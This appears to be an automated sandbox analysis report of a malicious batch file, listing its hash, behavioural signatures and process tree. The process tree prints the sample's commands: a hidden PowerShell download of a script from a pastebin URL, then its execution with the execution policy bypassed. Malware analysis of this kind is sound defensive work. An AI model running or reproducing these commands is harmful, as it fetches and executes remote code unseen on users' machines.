Analysis
- max time kernel
149s - max time network
125s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
24/04/2026, 20:02
General
- Target badfriend.bat
- Size 923B
- Sample260424-ysbstsbt9n
- SHA256 6ee027a1b72a6c19af3141b036cd2f66eabba79e0f87c85ddbe98ead6d397a44
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\badfriend.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\badfriend.bat" h2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://pastebin.com/raw/xni3yjBp' -OutFile 'temp_script.ps1'"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "temp_script.ps1"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_rmwqhaqa.d1q.ps1
temp_script.ps1
memory/1660-9-0x0000020739840000-0x0000020739850000-memory.dmp
memory/1660-13-0x0000020737AF0000-0x0000020737AFC000-memory.dmp
memory/1660-15-0x0000020739780000-0x0000020739792000-memory.dmp
memory/1660-14-0x0000020739850000-0x00000207398FF000-memory.dmp
memory/1660-7-0x0000020751960000-0x0000020751982000-memory.dmp
memory/1660-1-0x0000020739840000-0x0000020739850000-memory.dmp
memory/1660-0-0x0000020739840000-0x0000020739850000-memory.dmp
memory/3664-18-0x00000297186C0000-0x00000297186D0000-memory.dmp
memory/3664-17-0x00000297186C0000-0x00000297186D0000-memory.dmp
memory/3664-30-0x00000297004C0000-0x00000297004D2000-memory.dmp
memory/3664-29-0x0000029700420000-0x000002970042C000-memory.dmp
memory/3664-28-0x000002977E420000-0x000002977E4CE000-memory.dmp